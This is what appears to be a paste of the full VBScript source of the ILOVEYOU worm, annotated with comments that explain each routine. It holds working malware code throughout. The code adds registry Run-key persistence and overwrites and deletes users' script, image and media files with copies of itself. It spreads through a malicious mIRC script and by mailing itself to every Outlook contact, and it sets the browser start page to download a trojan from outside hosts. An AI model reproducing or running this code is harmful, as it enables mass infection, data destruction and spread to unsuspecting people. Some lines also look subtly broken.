· 4 years ago · Aug 18, 2021, 09:24 PM
1rem barok -loveletter(vbe) <i hate go to school>
2rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
3On Error Resume Next
4
5rem Setup global variables to be used throughout subroutines and functions.
6Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
7eq = ""
8ctr = 0
9
10rem Open the current script file and define "vbscopy" which can be used to
11rem read its own contents. Used to replicate itself in other files.
12Set fso = CreateObject("Scripting.FileSystemObject")
13Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
14vbscopy = file.ReadAll
15
16main()
17
18rem Subroutine to initalize the program
19Sub main()
20 On Error Resume Next
21 Dim wscr, rr
22
23 rem Creates a shell which will be used to read the registry.
24 Set wscr = CreateObject("WScript.Shell")
25 rem Gets a registry key which indicates the scripting time-out from Windows.
26 rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
27
28 rem Checks if the current timeout is more than 0.
29 If (rr >= 1) Then
30 rem Sets the timeout to 0, effectively making it so that the script won't
31 rem time out, incase the system happens to be too slow to execute it.
32 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
33 End If
34
35 rem Finds special folders, such as system, temporary and windows folders.
36 Set dirwin = fso.GetSpecialFolder(0)
37 Set dirsystem = fso.GetSpecialFolder(1)
38 Set dirtemp = fso.GetSpecialFolder(2)
39 Set c = fso.GetFile(WScript.ScriptFullName)
40
41 rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
42 rem LOVE-LETTER-FOR-YOU.TXT.vbs
43 c.Copy(dirsystem & "\MSKernel32.vbs")
44 c.Copy(dirwin & "\Win32DLL.vbs")
45 c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
46
47 rem Call the other subroutines.
48 regruns()
49 html()
50 spreadtoemail()
51 listadriv()
52End Sub
53
54rem Subroutine to create and update special registry values.
55Sub regruns()
56 On Error Resume Next
57 Dim num, downread
58
59 rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
60 regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
61 regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
62
63 rem Get internet Explorer's download directory.
64 downread = ""
65 downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
66
67 rem If the directory wasn't found, then use C:\ drive as the download directory.
68 If (downread = "") Then
69 downread = "c:\"
70 End If
71
72 rem Check if a file named "WinFAT32.exe" exists in the system files.
73 If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
74 Randomize
75
76 rem Generate a random number from 1 to 4.
77 num = Int((4 * Rnd) + 1)
78
79 rem Randomly update the Internet Explorer's start page that leads to a
80 rem page that will download a malicious executable "WIN-BUGSFIX.exe".
81 If num = 1 Then
82 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
83 ElseIf num = 2 Then
84 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
85 ElseIf num = 3 Then
86 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
87 ElseIf num = 4 Then
88 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
89 End If
90 End If
91
92 rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
93 If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
94 rem Add WIN-BUGSFIX.exe to run on startup
95 regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
96 rem Update Internet Explorer's start page to "about:blank"
97 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
98 End If
99End Sub
100
101rem Subroutine to list folders in drives.
102Sub listadriv()
103 On Error Resume Next
104 Dim d, dc, s
105
106 Set dc = fso.Drives
107
108 For Each d In dc
109 If (d.DriveType = 2) Or (d.DriveType = 3) Then
110 folderlist(d.path & "\")
111 End If
112 Next
113
114 listadriv = s
115End Sub
116
117rem Subroutine infect other files, by copying itself into them as well
118rem as creating a malicious mIRC script.
119Sub infectfiles(folderspec)
120 On Error Resume Next
121 Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
122
123 Set f = fso.GetFolder(folderspec)
124 Set fc = f.Files
125
126 For Each f1 In fc
127 ext = fso.GetExtensionName(f1.path)
128 ext = lcase(ext)
129 s = lcase(f1.name)
130
131 rem Copies itself into every file with vbs/vbe extension.
132 If (ext = "vbs") Or (ext = "vbe") Then
133 Set ap = fso.OpenTextFile(f1.path, 2, true)
134
135 ap.write vbscopy
136 ap.close
137 rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
138 rem and creates a copy of the file with the .vbs extension.
139 ElseIf (ext = "js")
140 Or (ext = "jse")
141 Or (ext = "css")
142 Or (ext = "wsh")
143 Or (ext = "sct")
144 Or (ext = "hta")
145 Then
146 Set ap = fso.OpenTextFile(f1.path, 2, true)
147
148 ap.write vbscopy
149 ap.close
150 bname = fso.GetBaseName(f1.path)
151
152 Set cop = fso.GetFile(f1.path)
153
154 cop.copy(folderspec & "\" & bname & ".vbs")
155 fso.DeleteFile(f1.path)
156 rem Copies itself into every file with jpg/jpeg extension
157 rem and creates a copy of the file with the .vbs extension.
158 ElseIf (ext = "jpg") Or (ext = "jpeg") Then
159 rem Copies itself
160 Set ap = fso.OpenTextFile(f1.path, 2, true)
161
162 ap.write vbscopy
163 ap.close
164
165 Set cop = fso.GetFile(f1.path)
166
167 cop.copy(f1.path & ".vbs")
168 fso.DeleteFile(f1.path)
169 rem Copies itself into every file with mp3/mp2 extension.
170 ElseIf (ext = "mp3") Or (ext = "mp2") Then
171 Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
172
173 mp3.write vbscopy
174 mp3.close
175
176 Set att = fso.GetFile(f1.path)
177 rem Sets file attributes to make the file Hidden.
178 rem Normal files have the attribute set to 0 so adding 2 to it,
179 rem will set the attributes to Hidden.
180 att.attributes = att.attributes + 2
181 End If
182
183 rem Checks if the folder has already been infected, if not it will continue
184 rem to infect the files.
185 If (eq <> folderspec) Then
186 rem Looks for mIRC and related files to determine whether it
187 rem should create/replace its script.ini with a malicious script.
188 If (s = "mirc32.exe")
189 Or (s = "mlink32.exe")
190 Or (s = "mirc.ini")
191 Or (s = "script.ini")
192 Or (s = "mirc.hlp")
193 Then
194 Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
195 rem The following mIRC script checks if the "nick" of a user is the same
196 rem as "me" to halt and send a DCC command that will send a message to
197 rem the user with a link to the LOVE=LETTER-FOR-YOU html page on the
198 rem system.
199 scriptini.WriteLine "[script]"
200 scriptini.WriteLine ";mIRC Script"
201 scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
202 scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
203 scriptini.WriteLine ";"
204 scriptini.WriteLine ";Khaled Mardam-Bey"
205 scriptini.WriteLine ";http://www.mirc.com"
206 scriptini.WriteLine ";"
207 scriptini.WriteLine "n0=on 1:JOIN:#:{"
208 scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
209 scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
210 scriptini.WriteLine "n3=}"
211 scriptini.close
212
213 eq = folderspec
214 End If
215 End If
216 Next
217End Sub
218
219rem Subroutine used to get file listing of a folder.
220Sub folderlist(folderspec)
221 On Error Resume Next
222 Dim f, f1, sf
223
224 Set f = fso.GetFolder(folderspec)
225 Set sf = f.SubFolders
226
227 rem Iterates over each subfolder from the given top-level folder and
228 rem recursively infect files.
229 For Each f1 In sf
230 infectfiles(f1.path)
231 folderlist(f1.path)
232 Next
233End Sub
234
235rem Subroutine used to create/write registry entries.
236Sub regcreate(regkey,regvalue)
237 Set regedit = CreateObject("WScript.Shell")
238 regedit.RegWrite regkey, regvalue
239End Sub
240
241rem Subroutine used to get registry entries.
242Function regget(value)
243 Set regedit = CreateObject("WScript.Shell")
244 regget = regedit.RegRead(value)
245End Function
246
247rem Function to check if a file exists.
248Function fileexist(filespec)
249 On Error Resume Next
250 Dim msg
251
252 If (fso.FileExists(filespec)) Then
253 msg = 0
254 Else
255 msg = 1
256 End If
257
258 fileexist = msg
259End Function
260
261rem Function to check if a folder exists.
262Function folderexist(folderspec)
263 On Error Resume Next
264 Dim msg
265
266 If (fso.GetFolderExists(folderspec)) Then
267 msg = 0
268 Else
269 msg = 1
270 End If
271
272 fileexist = msg
273End Function
274
275rem Subroutine to send emails to the user's contacts through MAPI
276rem (Messaging Application Programming Interface), the API used by Outlook to
277rem communicate with the Microsoft Exchange Server which also hosts calendars
278rem and address book.
279Sub spreadtoemail()
280 On Error Resume Next
281 Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
282
283 rem Creates a shell to edit the registry.
284 Set regedit = CreateObject("WScript.Shell")
285 rem Creates a new Outlook application object instance, to access the MAPI.
286 Set out = WScript.CreateObject("Outlook.Application")
287 rem Gets the MAPI namespace used to access the address book lists.
288 Set mapi = out.GetNameSpace("MAPI")
289
290 rem Goes through all contacts in the address book and sends an email
291 rem with the LOVE-LETTER-FOR-YOU program as an attachment.
292 For ctrlists = 1 To mapi.AddressLists.Count
293 Set a = mapi.AddressLists(ctrlists)
294 x = 1
295 rem Gets a registry key that is used to check who has been sent an email,
296 rem already to ensure that even if there may be duplicate contacts, it will
297 rem only send the email once to the same address.
298 regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
299
300 If (regv = "") Then
301 regv = 1
302 End If
303
304 If (int(a.AddressEntries.Count) > int(regv)) Then
305 rem Iterates over each entry in the address list.
306 For ctrentries = 1 To a.AddressEntries.Count
307 malead = a.AddressEntries(x)
308 regad = ""
309 regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )
310
311 rem If the contact hasn't yet been sent an email, a new email will be
312 rem composed with the virus attached and a "kind" message and the
313 rem subject "ILOVEYOU".
314 If (regad = "") Then
315 Set male = out.CreateItem(0)
316
317 male.Recipients.Add(malead)
318 male.Subject = "ILOVEYOU"
319 male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
320 male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
321 male.Send
322
323 rem Sets the registry key to indicate that the email has been sent
324 rem to the current contact.
325 regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
326 End If
327
328 x = x + 1
329 Next
330
331 regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
332 Else
333 regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
334 End If
335 Next
336
337 Set out = Nothing
338 Set mapi = Nothing
339End Sub
340
341rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
342Sub html
343 On Error Resume Next
344 Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
345
346 rem Generates an HTML page which contains a JScript and VBScript to replicate
347 rem itself by leveraging ActiveX. It also listens for mouse and key events,
348 rem which will open additional windows of the same page.
349 dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
350 & vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
351 & vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
352 & vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
353 & vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
354 & vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
355 & vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
356 & vbcrlf & _ "<?-?BODY><?-?HTML>"
357 & vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
358 & vbcrlf & _ "<!--?-??-?"
359 & vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
360 & vbcrlf & _ "?-??-?-->"
361 & vbcrlf & _ "<?-?SCRIPT>"
362 & vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
363 & vbcrlf & _ "<!--"
364 & vbcrlf & _ "on error resume next"
365 & vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
366 & vbcrlf & _ "aw=1"
367 & vbcrlf & _ "code="
368
369 dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
370 & vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
371 & vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
372 & vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
373 & vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
374 & vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
375 & vbcrlf & _ "wri.write code4"
376 & vbcrlf & _ "wri.close"
377 & vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
378 & vbcrlf & _ "If (err.number=424) Then"
379 & vbcrlf & _ "aw=0"
380 & vbcrlf & _ "End If"
381 & vbcrlf & _ "If (aw=1) Then"
382 & vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
383 & vbcrlf & _ "window.close"
384 & vbcrlf & _ "End If"
385 & vbcrlf & _ "End If"
386 & vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
387 & vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
388 & vbcrlf & _ "?-??-?-->"
389 & vbcrlf & _ "<?-?SCRIPT>"
390
391 rem Replaces encoded characters from the above document to form a valid
392 rem document that can be correctly opened and executed in the browser.
393 dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
394 dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
395 dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
396 dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
397 dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
398 dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
399 dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
400 dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")
401
402 rem Opens a new file system object, which is used to read this specific
403 rem script file, that will then be injected into the HTM document.
404 Set fso = CreateObject("Scripting.FileSystemObject")
405 Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
406
407 lines = Split(c.ReadAll,vbcrlf)
408 l1 = ubound(lines)
409
410 rem Encodes all special characters of the script's HTM, as this script
411 rem will be injected into the HTM file and executed.
412 For n = 0 to ubound(lines)
413 lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
414 lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
415 lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))
416
417 If (l1 = n) Then
418 lines(n) = chr(34) + lines(n) + chr(34)
419 Else
420 lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
421 End If
422 Next
423
424 rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory.
425 Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
426 b.close
427
428 rem Creates the HTM file from everything above.
429 Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
430 d.write dt5
431 d.write join(lines, vbcrlf)
432 d.write vbcrlf
433 d.write dt6
434 d.close